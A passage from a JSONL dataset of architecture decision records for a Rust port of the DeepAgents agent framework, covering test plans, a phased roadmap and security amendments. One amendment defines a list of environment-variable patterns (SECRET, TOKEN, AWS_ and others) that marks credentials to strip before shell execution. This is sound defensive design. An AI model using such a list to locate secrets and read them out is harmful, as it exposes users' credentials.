middleware \u2192 core \u2192 cli", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-100-deepagents-rvf-integration-crate-structure.md", "created_at": "2026-03-28T11:58:49.942654+00:00", "content_hash": "206f03ec1ca56e225f456a70d2e6c90b70dfa48ecd120969ff05f0a3ca8a16a1"} +{"id": "96722724-d63c-4abd-8206-b83fd47fd8c2", "source": "adr", "text": "# ADR-101: Testing Strategy & Fidelity Verification\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n\n## Context\n\nDeepAgents has extensive test coverage:\n\n- **Unit tests** \u2014 80+ test files across `libs/deepagents/tests/unit_tests/`\n- **Integration tests** \u2014 Cross-module tests in `tests/integration_tests/`\n- **Eval tests** \u2014 LLM-powered behavioral tests in `tests/evals/`\n- **CLI tests** \u2014 40+ test files in `libs/cli/tests/`\n- **Smoke tests** \u2014 System prompt validation\n\n100% fidelity requires that the Rust implementation passes equivalent tests producing identical results.\n\n## Decision\n\n### Test Categories\n\n#### 1. Unit Tests (Port from Python)\n\nEach Python unit test file maps to a Rust test module:\n\n| Python Test | Rust Test | Tests |\n|---|---|---|\n| `test_protocol.py` | `backends/protocol_test.rs` | FileInfo, GrepMatch, WriteResult, EditResult structs |\n| `test_state_backend.py` | `backends/state_test.rs` | StateBackend CRUD, ls, grep, glob |\n| `test_filesystem_backend.py` | `backends/filesystem_test.rs` | FilesystemBackend with real files |\n| `test_filesystem_backend_async.py` | `backends/filesystem_async_test.rs` | Async variants |\n| `test_local_shell_backend.py` | `backends/local_shell_test.rs` | Execute, timeout, output truncation |\n| `test_composite_backend.py` | `backends/composite_test.rs` | Path routing, result remapping |\n| `test_sandbox_backend.py` | `backends/sandbox_test.rs` | BaseSandbox command templates |\n| `test_state_backend_async.py` | `backends/state_async_test.rs` | Async StateBackend |\n| `test_store_backend.py` | `backends/store_test.rs` | StoreBackend persistence |\n| `test_utils.py` | `backends/utils_test.rs` | format_content_with_line_numbers, perform_string_replacement |\n| `test_file_system_tools.py` | `tools/filesystem_test.rs` | ls, read, write, edit, glob, grep tools |\n| `test_file_system_tools_async.py` | `tools/filesystem_async_test.rs` | Async tool variants |\n| `test_local_shell.py` | `tools/execute_test.rs` | Execute tool behavior |\n| `test_middleware.py` | `middleware/pipeline_test.rs` | Middleware ordering, state injection |\n| `test_middleware_async.py` | `middleware/pipeline_async_test.rs` | Async middleware |\n| `test_subagents.py` | `subagents/task_test.rs` | Task tool, state isolation |\n| `test_memory_middleware.py` | `middleware/memory_test.rs` | AGENTS.md loading |\n| `test_skills_middleware.py` | `middleware/skills_test.rs` | SKILL.md parsing, validation |\n| `test_summarization_middleware.py` | `middleware/summarization_test.rs` | Auto-compact trigger |\n| `test_compact_tool.py` | `middleware/compact_tool_test.rs` | compact_conversation tool |\n| `test_tool_schemas.py` | `tools/schema_test.rs` | Tool parameter schemas |\n| `test_models.py` | `core/models_test.rs` | resolve_model, model_matches_spec |\n| `test_end_to_end.py` | `core/e2e_test.rs` | Full agent invocation |\n| `test_version.py` | `core/version_test.rs` | Version constant |\n\n#### 2. Cross-Language Fidelity Tests\n\nGolden-file tests that verify Rust output matches Python output exactly:\n\n```rust\n#[cfg(test)]\nmod fidelity_tests {\n /// Test that format_content_with_line_numbers produces identical output.\n #[test]\n fn test_line_number_formatting_matches_python() {\n let lines = vec![\"hello\", \"world\", \"\"];\n let result = format_content_with_line_numbers(&lines, 1);\n // Must match Python's exact output character-for-character\n assert_eq!(result, \" 1\\thello\\n 2\\tworld\\n 3\\t\");\n }\n\n /// Test that grep_raw produces identical GrepMatch structs.\n #[test]\n fn test_grep_matches_python_format() {\n let backend = FilesystemBackend::new(tmp_dir, false);\n // Write test file, grep, compare with Python golden output\n }\n\n /// Test that edit with replace_all=false rejects multiple occurrences.\n #[test]\n fn test_edit_uniqueness_check() {\n let backend = StateBackend::new(state_with_file(\"a\\na\\n\"));\n let result = backend.edit(\"/test.txt\", \"a\", \"b\", false);\n assert!(result.error.is_some());\n // Error message must match Python's exact wording\n }\n\n /// Test that CompositeBackend routes identically.\n #[test]\n fn test_composite_routing_matches_python() {\n // Same path inputs \u2192 same backend selection \u2192 same path stripping\n }\n}\n```\n\n#### 3. Property-Based Tests\n\n```rust\nuse proptest::prelude::*;\n\nproptest! {\n /// Any valid path resolves consistently between backends.\n #[test]\n fn path_resolution_consistent(path in \"[a-z/]+\") {\n let fs = FilesystemBackend::new(tmp, true);\n let resolved = fs.resolve_path(&path);\n // Verify: no path traversal, within root, deterministic\n }\n\n /// String replacement is idempotent for unique matches.\n #[test]\n fn edit_idempotent_unique(\n content in \".*\",\n old in \".+\",\n new in \".*\",\n ) {\n // If old appears exactly once, edit succeeds\n // If old appears 0 or 2+ times, edit fails with correct error\n }\n\n /// Skill name validation matches spec exactly.\n #[test]\n fn skill_name_validation(name in \"[a-z0-9-]{0,100}\") {\n // validate_skill_name produces same result as Python\n }\n}\n```\n\n#### 4. Integration Tests\n\n```rust\n// tests/integration/\n\n/// Full agent creation and invocation with mock LLM.\n#[tokio::test]\nasync fn test_create_deep_agent_with_defaults() {\n let agent = create_deep_agent(DeepAgentConfig {\n model: MockChatModel::new(),\n ..Default::default()\n });\n\n let result = agent.invoke(AgentState::from_messages(vec![\n HumanMessage::new(\"Hello\"),\n ])).await;\n\n assert!(result.messages.last().unwrap().is_ai());\n}\n\n/// SubAgent task tool with parallel invocation.\n#[tokio::test]\nasync fn test_parallel_subagent_invocation() {\n // Verify that two task tool calls execute concurrently\n // and both return results to the parent agent\n}\n\n/// Middleware pipeline ordering.\n#[tokio::test]\nasync fn test_middleware_execution_order() {\n // Verify: TodoList \u2192 Memory \u2192 Skills \u2192 Filesystem \u2192\n // SubAgent \u2192 Summarization \u2192 PromptCaching \u2192 PatchToolCalls\n}\n\n/// Session persistence and resume.\n#[tokio::test]\nasync fn test_session_round_trip() {\n // Create session \u2192 checkpoint \u2192 resume \u2192 verify state\n}\n```\n\n#### 5. CLI Tests\n\n```rust\n// tests/cli/\n\n/// CLI argument parsing matches Python's argparse behavior.\n#[test]\nfn test_cli_args() {\n let cli = Cli::try_parse_from([\"deep\", \"--model\", \"openai:gpt-5\", \"-a\", \"myagent\"]).unwrap();\n assert_eq!(cli.model.unwrap(), \"openai:gpt-5\");\n assert_eq!(cli.agent.unwrap(), \"myagent\");\n}\n\n/// Non-interactive mode produces same output format.\n#[tokio::test]\nasync fn test_headless_mode() {\n // Run with --headless, verify JSON output matches Python\n}\n```\n\n### Test Infrastructure\n\n```rust\n/// Mock ChatModel for deterministic testing.\n/// Python: tests/unit_tests/chat_model.py\npub struct MockChatModel {\n responses: Vec<AIMessage>,\n call_count: AtomicUsize,\n}\n\nimpl ChatModel for MockChatModel {\n fn invoke(&self, messages: &[Message]) -> AIMessage {\n let idx = self.call_count.fetch_add(1, Ordering::SeqCst);\n self.responses[idx].clone()\n }\n}\n\n/// Temporary directory helper for filesystem tests.\npub struct TempBackend {\n dir: tempfile::TempDir,\n backend: FilesystemBackend,\n}\n\nimpl TempBackend {\n pub fn new() -> Self {\n let dir = tempfile::tempdir().unwrap();\n let backend = FilesystemBackend::new(dir.path(), false);\n Self { dir, backend }\n }\n}\n```\n\n### Coverage Targets\n\n| Category | Target | Method |\n|---|---|---|\n| Backend protocol | 100% | Unit tests per method |\n| Tool implementations | 100% | Golden-file fidelity tests |\n| Middleware pipeline | 100% | Integration + ordering tests |\n| State isolation | 100% | Property tests |\n| Skill validation | 100% | Exhaustive + property tests |\n| CLI args | 100% | Clap derive tests |\n| Session persistence | 100% | Round-trip serialization |\n| Error messages | 100% | Exact string matching |\n\n## Consequences\n\n- 80+ Python test files ported to Rust with identical assertions\n- Golden-file tests guarantee character-for-character output fidelity\n- Property-based tests catch edge cases not covered by Python suite\n- MockChatModel enables deterministic agent testing without LLM calls\n- CI runs both Python and Rust test suites to verify behavioral parity", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-101-deepagents-testing-strategy.md", "created_at": "2026-03-28T11:58:49.942878+00:00", "content_hash": "6d90ff3123b0b4b318697e1f46fea5e957e89ddbfef022edbfa96c720f3422fe"} +{"id": "1dada644-c0ff-4663-9bcd-2e1bbb873b39", "source": "adr", "text": "# ADR-102: Implementation Roadmap & Phasing\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n\n## Context\n\nThe DeepAgents Rust conversion spans 9 new crates, 60+ module ports, and 80+ test file equivalents. This ADR defines the implementation phases with clear milestones and dependency ordering.\n\n## Decision\n\n### Phase 1: Foundation (Weeks 1-3)\n\n**Goal:** Core types, backend protocol, and state backend working.\n\n#### Deliverables\n\n| Crate | Modules | Tests | Status |\n|---|---|---|---|\n| `ruvector-deep-backends` | `protocol.rs`, `utils.rs`, `state.rs` | 15 unit tests | Foundation |\n| `ruvector-deep-core` | `messages.rs`, `config.rs` | 5 unit tests | Foundation |\n\n#### Milestone: StateBackend passes all Python-equivalent tests\n\n```bash\ncargo test -p ruvector-deep-backends\n# All StateBackend operations: ls_info, read, write, edit, grep_raw, glob_info\n# All utility functions: format_content_with_line_numbers, perform_string_replacement\n```\n\n### Phase 2: Backends (Weeks 3-5)\n\n**Goal:** All 5 backend implementations complete.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-backends` | `filesystem.rs`, `local_shell.rs`, `composite.rs`, `sandbox.rs`, `store.rs` | 30 unit tests |\n\n#### Milestone: All backends pass fidelity tests\n\n```bash\ncargo test -p ruvector-deep-backends -- --test-threads=1\n# FilesystemBackend: real filesystem operations with virtual_mode\n# LocalShellBackend: execute with timeout, stderr prefixing\n# CompositeBackend: path routing, result remapping\n```\n\n### Phase 3: Tools (Weeks 5-7)\n\n**Goal:** All 8 tool implementations with identical behavior.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-tools` | `lib.rs`, `ls.rs`, `read_file.rs`, `write_file.rs`, `edit_file.rs`, `glob.rs`, `grep.rs`, `execute.rs`, `write_todos.rs` | 25 unit tests |\n\n#### Milestone: Tool golden-file tests pass\n\n```bash\ncargo test -p ruvector-deep-tools\n# Each tool produces character-identical output to Python\n# Image file detection, line number formatting, error messages\n```\n\n### Phase 4: Middleware (Weeks 7-10)\n\n**Goal:** Complete middleware pipeline with all 9 middleware implementations.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-middleware` | `lib.rs`, `todolist.rs`, `filesystem.rs`, `memory.rs`, `skills.rs`, `summarization.rs`, `prompt_caching.rs`, `patch_tool_calls.rs`, `hitl.rs`, `utils.rs` | 30 unit tests |\n| `ruvector-deep-subagents` | `lib.rs`, `builder.rs`, `prompts.rs` | 15 unit tests |\n\n#### Dependencies: Phase 2 (backends) + Phase 3 (tools)\n\n#### Milestone: Middleware pipeline integration test passes\n\n```bash\ncargo test -p ruvector-deep-middleware -- integration\n# Middleware ordering: Todo \u2192 Memory \u2192 Skills \u2192 Filesystem \u2192 SubAgent \u2192 Summarization \u2192 PromptCaching \u2192 Patch\n# State isolation between parent and subagents\n# System prompt injection from all middleware\n```\n\n### Phase 5: LLM Providers (Weeks 8-10, parallel with Phase 4)\n\n**Goal:** Anthropic and OpenAI client implementations.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-providers` | `lib.rs`, `anthropic.rs`, `openai.rs`, `init_chat_model.rs` | 10 unit tests |\n\n#### Milestone: Model resolution matches Python behavior\n\n```bash\ncargo test -p ruvector-deep-providers\n# \"provider:model\" parsing, model_matches_spec, get_model_identifier\n# Anthropic streaming, OpenAI Responses API support\n```\n\n### Phase 6: Core Agent Factory (Weeks 10-12)\n\n**Goal:** `create_deep_agent()` fully functional with all middleware.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-core` | `lib.rs`, `graph.rs`, `models.rs` | 20 integration tests |\n\n#### Dependencies: All previous phases\n\n#### Milestone: End-to-end agent invocation with mock LLM\n\n```bash\ncargo test -p ruvector-deep-core -- e2e\n# create_deep_agent() with all configurations\n# Subagent spawning and result collection\n# Session checkpointing and resume\n```\n\n### Phase 7: CLI (Weeks 12-16)\n\n**Goal:** Full terminal application with ratatui TUI.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-cli` | 30+ modules (see ADR-099) | 40 tests |\n\n#### Sub-phases\n\n1. **Week 12-13:** Core CLI (main, config, agent creation, non-interactive mode)\n2. **Week 13-14:** TUI widgets (chat, messages, approval, diff)\n3. **Week 14-15:** Sessions, hooks, skills, MCP integration\n4. **Week 15-16:** Sandbox integrations (Modal, Runloop, Daytona)\n\n#### Milestone: CLI passes all argument/headless tests\n\n```bash\ncargo test -p ruvector-deep-cli\ncargo run -p ruvector-deep-cli -- --headless \"What is 2+2?\"\n```\n\n### Phase 8: ACP Server (Weeks 14-16, parallel with Phase 7)\n\n**Goal:** ACP server implementation with axum.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-acp` | `server.rs`, `utils.rs` | 10 tests |\n\n#### Milestone: ACP protocol compliance\n\n### Phase 9: RVF & WASM (Weeks 16-18)\n\n**Goal:** RVF integration and WASM compilation.\n\n#### Deliverables\n\n| Crate | Modules | Tests |\n|---|---|---|\n| `ruvector-deep-wasm` | `lib.rs`, `state_backend.rs`, `agent.rs` | 10 tests |\n\n#### Milestone: Agent runs in browser via WASM\n\n```bash\nwasm-pack build crates/ruvector-deep-wasm --target web\n```\n\n### Phase 10: Fidelity Verification (Weeks 18-20)\n\n**Goal:** Cross-language test suite verifying 100% behavioral parity.\n\n#### Activities\n\n1. Run Python test suite \u2192 capture golden outputs\n2. Run Rust test suite \u2192 compare against golden outputs\n3. Property-based testing for edge cases\n4. Performance benchmarking (Rust vs Python)\n5. Documentation and API reference generation\n\n### Dependency Graph\n\n```\nPhase 1 (Foundation) \u2500\u2510\n \u251c\u2500 Phase 2 (Backends) \u2500\u2510\n \u2502 \u251c\u2500 Phase 3 (Tools) \u2500\u2510\n \u2502 \u2502 \u251c\u2500 Phase 4 (Middleware) \u2500\u2510\nPhase 5 (Providers) \u2500\u2500\u2518 (parallel) \u2502 \u2502 \u2502\n \u2502 \u2502 \u251c\u2500 Phase 6 (Core)\n \u2502 \u2502 \u2502\n \u2502 \u2502 \u251c\u2500 Phase 7 (CLI)\n \u2502 \u2502 \u251c\u2500 Phase 8 (ACP)\n \u2502 \u2502 \u2514\u2500 Phase 9 (WASM)\n \u2502 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\nPhase 10 (Verification) \u2014 after all phases\n```\n\n### Lines of Code Estimate\n\n| Crate | Estimated LoC (Rust) | Python Equivalent LoC |\n|---|---|---|\n| `ruvector-deep-backends` | ~3,500 | ~2,800 (5 files) |\n| `ruvector-deep-tools` | ~1,500 | ~1,200 (tools in filesystem.py) |\n| `ruvector-deep-middleware` | ~3,000 | ~2,500 (6 middleware files) |\n| `ruvector-deep-subagents` | ~1,200 | ~700 (subagents.py) |\n| `ruvector-deep-core` | ~1,000 | ~300 (graph.py + init) |\n| `ruvector-deep-providers` | ~1,500 | ~100 (_models.py \u2014 rest is LangChain) |\n| `ruvector-deep-cli` | ~8,000 | ~6,000 (30+ modules) |\n| `ruvector-deep-acp` | ~800 | ~500 (2 files) |\n| `ruvector-deep-wasm` | ~500 | N/A |\n| **Tests** | ~5,000 | ~4,000 |\n| **Total** | **~26,000** | **~18,100** |\n\n### Risk Mitigation\n\n| Risk | Mitigation |\n|---|---|\n| LangChain API changes | Pin to v0.4.x semantics, abstract behind traits |\n| LLM provider SDK differences | Thin HTTP wrappers, not full SDK ports |\n| Textual \u2192 ratatui gap | Focus on headless mode first, TUI second |\n| WASM binary size | Feature flags, tree-shaking, wasm-opt |\n| Sandbox provider API instability | Feature-gated, optional crate dependencies |\n\n## Consequences\n\n- 20-week implementation timeline with clear milestones\n- Each phase produces independently testable crates\n- Parallel work possible in Phases 5/7/8\n- ~26,000 lines of Rust code for 100% fidelity conversion\n- WASM deployment as a bonus capability not in Python original", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-102-deepagents-implementation-roadmap.md", "created_at": "2026-03-28T11:58:49.943026+00:00", "content_hash": "9894f4ffbeb2c26073fdf34251c4c9c7a46a8abe3ccf86f192a76c5c8afd3dcb"} +{"id": "91c75e11-23c7-4a95-a5d3-a1223d158970", "source": "adr", "text": "# ADR-103: Review Amendments \u2014 Performance, RVF Integration & Security Hardening\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet (via review team) |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Amends** | ADR-094, ADR-095, ADR-096, ADR-097, ADR-098, ADR-099, ADR-100, ADR-101 |\n\n## Context\n\nThree independent review agents analyzed ADR-093 through ADR-102:\n\n1. **Performance Review** \u2014 25 findings, 7 P0 critical\n2. **RVF Capability Review** \u2014 17 untapped integration points, 10 gap areas\n3. **Security Audit** \u2014 30 findings (5 Critical, 7 High, 6 Medium, 4 Low)\n\nThis ADR captures all actionable amendments organized by priority.\n\n---\n\n## Decision\n\n### Part A: Performance Amendments\n\n#### A1. Replace `HashMap<String, serde_json::Value>` with Typed AgentState [P0]\n\n**Amends:** ADR-095 \u00a7AgentState type\n\nThe JSON intermediate representation imposes a \"JSON tax\" on every middleware interaction \u2014 3 clone+deserialize cycles per model call, full deep-clone on subagent spawn.\n\n**Before (ADR-095):**\n```rust\npub type AgentState = HashMap<String, serde_json::Value>;\n```\n\n**After:**\n```rust\npub struct AgentState {\n pub messages: Arc<Vec<Message>>,\n pub todos: Arc<Vec<TodoItem>>,\n pub files: Arc<HashMap<String, FileData>>,\n pub memory_contents: Option<Arc<HashMap<String, String>>>,\n pub skills_metadata: Option<Arc<Vec<SkillMetadata>>>,\n extensions: HashMap<String, Box<dyn Any + Send + Sync>>,\n}\n```\n\n**Impact:** 5-20x middleware pipeline speedup, 10-50x subagent spawn speedup (Arc clone = O(1) vs deep clone = O(n)).\n\n#### A2. Parallel Tool Execution [P0]\n\n**Amends:** ADR-095 \u00a7Agent Graph Loop, ADR-097 \u00a7SubAgent invocation\n\nWhen an LLM response contains multiple tool_calls, execute them concurrently:\n\n```rust\nasync fn execute_tool_calls(calls: &[ToolCall], runtime: &ToolRuntime) -> Vec<ToolResult> {\n let mut set = tokio::task::JoinSet::new();\n for tc in calls {\n let tool = resolve_tool(&tc.name);\n let args = tc.args.clone();\n let rt = runtime.clone();\n set.spawn(async move { tool.ainvoke(args, &rt).await });\n }\n let mut results = Vec::with_capacity(calls.len());\n while let Some(result) = set.join_next().await {\n results.push(result.unwrap());\n }\n results\n}\n```\n\n**Impact:** 2-5x speedup for multi-tool LLM responses (very common in coding agents).\n\n#### A3. Prevent Blocking I/O in Async Context [P0]\n\n**Amends:** ADR-094 \u00a7Backend async methods\n\n- All subprocess invocations MUST use `tokio::process::Command`, not `std::process::Command`\n- FilesystemBackend operations MUST use `tokio::task::spawn_blocking` for synchronous filesystem I/O\n- Backend structs MUST use `Arc<Inner>` pattern for cheap cloning into spawn_blocking closures:\n\n```rust\npub struct FilesystemBackend {\n inner: Arc<FilesystemBackendInner>,\n}\n```\n\n**Impact:** Prevents thread pool starvation under concurrent tool execution.\n\n#### A4. Use `grep-regex`/`grep-searcher` Instead of Subprocess ripgrep [P1]\n\n**Amends:** ADR-094 \u00a7FilesystemBackend grep\n\nUse ripgrep's library crates (`grep-regex`, `grep-searcher`) for in-process search instead of shelling out to `rg`:\n\n```rust\nuse grep_regex::RegexMatcher;\nuse grep_searcher::Searcher;\n```\n\n**Impact:** Eliminates 1-5ms subprocess overhead per grep call.\n\n#### A5. SystemPromptBuilder for Deferred Concatenation [P1]\n\n**Amends:** ADR-095 \u00a7append_to_system_message, ADR-098 \u00a7Memory/Skills middleware\n\nReplace 4 sequential string concatenations per model call with a builder that concatenates once:\n\n```rust\nstruct SystemPromptBuilder {\n segments: SmallVec<[Cow<'static, str>; 8]>,\n}\nimpl SystemPromptBuilder {\n fn append(&mut self, text: impl Into<Cow<'static, str>>);\n fn build(&self) -> String; // Single allocation, pre-calculated capacity\n}\n```\n\n**Impact:** Reduces 4 O(n) string copies to 1 O(n) build, saving ~20-80\u03bcs per model call.\n\n#### A6. Enum Dispatch for Built-in Tools [P1]\n\n**Amends:** ADR-096 \u00a7Tool trait\n\nUse enum dispatch for the 8 built-in tools, trait objects only for user-defined:\n\n```rust\npub enum BuiltinTool { Ls, ReadFile, WriteFile, EditFile, Glob, Grep, Execute, WriteTodos, Task }\npub enum AnyTool { Builtin(BuiltinTool), Dynamic(Box<dyn Tool>) }\n```\n\n**Impact:** Eliminates vtable indirection and async_trait boxing for hot path tools.\n\n#### A7. Optimized format_content_with_line_numbers [P1]\n\n**Amends:** ADR-096 \u00a7Line number formatting\n\nPre-calculate total size, write directly to a single `String::with_capacity`:\n\n```rust\npub fn format_content_with_line_numbers(lines: &[&str], start_line: usize) -> String {\n let total_est: usize = lines.iter().map(|l| l.len().min(2000) + 8).sum();\n let mut out = String::with_capacity(total_est);\n for (i, line) in lines.iter().enumerate() {\n if i > 0 { out.push('\\n'); }\n write!(out, \"{:>6}\\t{}\", start_line + i, &line[..line.len().min(2000)]).unwrap();\n }\n out\n}\n```\n\n**Impact:** Eliminates 2000 intermediate String allocations per file read.\n\n#### A8. Arena Allocators from ruvector-core [P1]\n\n**Amends:** ADR-096, ADR-100 \u00a7Crate dependencies\n\nImport `ruvector_core::arena::Arena` for scratch allocations in hot paths (line formatting, grep result accumulation, glob result building). The arena infrastructure already exists in the workspace.\n\n#### A9. Criterion Benchmarks [P0]\n\n**Amends:** ADR-101 \u00a7Testing Strategy\n\nAdd mandatory performance benchmarks:\n\n```toml\n# In each deep-* crate's Cargo.toml\n[dev-dependencies]\ncriterion = { version = \"0.5\", features = [\"html_reports\"] }\n\n[[bench]]\nname = \"tool_latency\"\nharness = false\n```\n\nRequired benchmarks:\n1. Tool execution latency (read_file, grep, glob, edit_file)\n2. Middleware pipeline throughput (full 9-middleware chain, target <1ms)\n3. State serialization round-trip (10, 100, 1000 messages)\n4. Subagent spawn overhead (Arc-shared vs deep-clone)\n5. Session checkpoint/resume (JSON vs rkyv vs bincode)\n6. Concurrent tool execution (4 parallel greps vs sequential)\n7. format_content_with_line_numbers (100, 1000, 10000 lines)\n8. CompositeBackend routing (1, 5, 10, 20 routes)\n\n---\n\n### Part B: RVF Integration Amendments\n\n#### B1. Concrete AGI Container Building [HIGH]\n\n**Amends:** ADR-100 \u00a7RVF Integration Points\n\nReplace aspirational `CognitiveLayer` references with real RVF types:\n\n| DeepAgents Concept | RVF Segment/Tag | Integration |\n|---|---|---|\n| Tool registry | `AGI_TAG_TOOL_REGISTRY` (0x0105) | Serialize tool schemas into container |\n| Skill library | `AGI_TAG_SKILL_LIBRARY` (0x0109) | Package skills for offline/WASM use |\n| Agent prompts | `AGI_TAG_AGENT_PROMPTS` (0x0106) | Externalize prompts from source code |\n| Middleware config | `SegmentType::Profile` (0x0B) | Store pipeline configuration |\n| Agent orchestration | `AGI_TAG_ORCHESTRATOR` (0x0108) | Subagent topology definition |\n\n#### B2. COW-Backed StateBackend [HIGH]\n\n**Amends:** ADR-094 \u00a7StateBackend\n\nReplace `Arc<RwLock<HashMap>>` with `rvf-runtime::CowEngine` for:\n- O(1) state snapshots (vs full clone)\n- Efficient subagent forking via COW child branches\n- Automatic witness events on every mutation\n\n```rust\npub struct CowStateBackend {\n engine: CowEngine,\n branch_id: u32,\n}\nimpl CowStateBackend {\n pub fn fork_for_subagent(&self) -> Self {\n Self { engine: self.engine.fork_child(), branch_id: self.branch_id + 1 }\n }\n}\n```\n\n#### B3. Witness Chain Middleware [HIGH]\n\n**Amends:** ADR-095 \u00a7Middleware Pipeline, ADR-100 \u00a7RVF Integration\n\nAdd `WitnessMiddleware` to the default pipeline after `PatchToolCalls`:\n\n```rust\npub struct WitnessMiddleware {\n builder: Arc<Mutex<WitnessBuilder>>,\n}\nimpl Middleware for WitnessMiddleware {\n fn wrap_model_call(&self, request: ModelRequest, handler: ...) -> ModelResponse {\n let response = handler(request);\n for tool_call in &response.tool_calls {\n self.builder.lock().unwrap().add_tool_call_entry(ToolCallEntry {\n tool_name: tool_call.name.clone(),\n arguments_hash: shake256(&serde_json::to_vec(&tool_call.args).unwrap()),\n ..Default::default()\n });\n }\n response\n }\n}\n```\n\nPipeline order becomes: Todo \u2192 Memory \u2192 Skills \u2192 Filesystem \u2192 SubAgent \u2192 Summarization \u2192 PromptCaching \u2192 PatchToolCalls \u2192 **Witness** \u2192 HITL\n\n#### B4. Resource Budget Enforcement [HIGH]\n\n**Amends:** ADR-094 \u00a7Backend trait, ADR-097 \u00a7SubAgent\n\nUse `rvf-types::agi_container::ResourceBudget` to enforce limits:\n\n```rust\npub struct ResourceBudget {\n pub max_time_secs: u32,\n pub max_tokens: u64,\n pub max_cost_microdollars: u64,\n pub max_tool_calls: u32,\n pub max_external_writes: u32,\n}\n```\n\nCheck budgets before each tool call. Enforce `AuthorityLevel` (ReadOnly, WriteMemory, ExecuteTools, WriteExternal) on backends.\n\n#### B5. SONA Adaptive Middleware [MEDIUM]\n\n**Amends:** ADR-095 \u00a7Middleware Pipeline, ADR-100 \u00a7Existing Crate Integration\n\nAdd optional `SonaMiddleware` leveraging the three learning loops:\n\n- **Loop A (Instant):** Record trajectories in `wrap_model_call` via lock-free `TrajectoryBuffer`\n- **Loop B (Background):** Hourly `ReasoningBank` pattern extraction via background tokio task\n- **Loop C (Deep):** Session-end consolidation with `EwcPlusPlus` for cross-session memory\n\n#### B6. HNSW Semantic Skill/Memory Retrieval [MEDIUM]\n\n**Amends:** ADR-098 \u00a7SkillsMiddleware, \u00a7MemoryMiddleware\n\nReplace linear skill scanning with `ruvector-hyperbolic-hnsw` index:\n- Index skill descriptions at startup\n- Retrieve top-k relevant skills per query instead of injecting all\n- **Impact:** 50-80% reduction in system prompt size with many skills\n\n#### B7. CRDT State Merging for Parallel SubAgents [MEDIUM]\n\n**Amends:** ADR-097 \u00a7SubAgent orchestration\n\nUse `ruvector-replication::LastWriteWins` for deterministic merge of parallel subagent results:\n\n```rust\nuse ruvector_replication::{VectorClock, LastWriteWins};\nfn merge_subagent_results(parent: &AgentState, results: Vec<AgentState>) -> AgentState { ... }\n```\n\n---\n\n### Part C: Security Amendments\n\n#### C1. Atomic Path Resolution with Post-Open Verification [CRITICAL \u2014 SEC-001]\n\n**Amends:** ADR-094 \u00a7FilesystemBackend\n\n```rust\nfn resolve_and_open(&self, path: &str, flags: i32) -> Result<File, FileOperationError> {\n let resolved = self.resolve_path(path)?;\n let file = OpenOptions::new()\n .custom_flags(libc::O_NOFOLLOW)\n .open(&resolved)?;\n // Post-open verification via /proc/self/fd/N\n let real_path = std::fs::read_link(format!(\"/proc/self/fd/{}\", file.as_raw_fd()))?;\n if !real_path.starts_with(&self.cwd) {\n return Err(FileOperationError::InvalidPath);\n }\n Ok(file)\n}\n```\n\nChange default to `virtual_mode=true` (SEC-002). Add `--no-follow` to ripgrep invocations (SEC-004).\n\n#### C2. Shell Execution Hardening [CRITICAL \u2014 SEC-005]\n\n**Amends:** ADR-094 \u00a7LocalShellBackend\n\nMandatory additions to `execute()`:\n1. **Witness chain logging** for every command execution\n2. **Optional command allowlist** via `CommandAllowlist` config\n3. **Environment sanitization** \u2014 strip `SECRET`, `KEY`, `TOKEN`, `PASSWORD`, `CREDENTIAL`, `AWS_*`, `AZURE_*`, `GCP_*`, `DATABASE_URL`, `PRIVATE` patterns\n4. **`env_clear()` + explicit safe env** \u2014 never inherit full parent environment\n\n```rust\nconst SENSITIVE_ENV_PATTERNS: &[&str] = &[\n \"SECRET\", \"KEY\", \"TOKEN\", \"PASSWORD\", \"CREDENTIAL\",\n \"AWS_\", \"AZURE_\", \"GCP_\", \"DATABASE_URL\", \"PRIVATE\",\n];\n```\n\n#### C3. Tool Result Sanitization [CRITICAL \u2014 SEC-009]\n\n**Amends:** ADR-095 \u00a7Middleware Pipeline\n\nAdd `ToolResultSanitizerMiddleware` that wraps all tool results in clearly delimited blocks:\n\n```rust\nmsg.with_content(format!(\n \"<tool_output tool=\\\"{}\\\" id=\\\"{}\\\">\\n{}\\n</tool_output>\",\n msg.tool_name(), msg.tool_call_id(), msg.content()\n))\n```\n\nThis is defense-in-depth against indirect prompt injection via file contents, grep results, or command output.\n\n#### C4. AGENTS.md / SKILL.md Trust Verification [CRITICAL \u2014 SEC-010]\n\n**Amends:** ADR-098 \u00a7MemoryMiddleware, \u00a7SkillsMiddleware\n\n1. Hash verification against a signed manifest for trusted sources\n2. Add `SecurityPolicy` field to `DeepAgentConfig` controlling untrusted file loading\n3. Content size limits: YAML frontmatter max 4KB, skill file max 1MB (down from 10MB)\n4. YAML bomb protection: explicit recursion depth and anchor expansion limits\n\n#### C5. Sandbox Path Restriction Contract [CRITICAL \u2014 SEC-023]\n\n**Amends:** ADR-094 \u00a7BaseSandbox\n\nThe `BaseSandbox` trait MUST specify that concrete implementations provide filesystem isolation. Add to the trait:\n\n```rust\npub trait SandboxBackend: Backend + Send + Sync {\n fn execute(&self, command: &str, 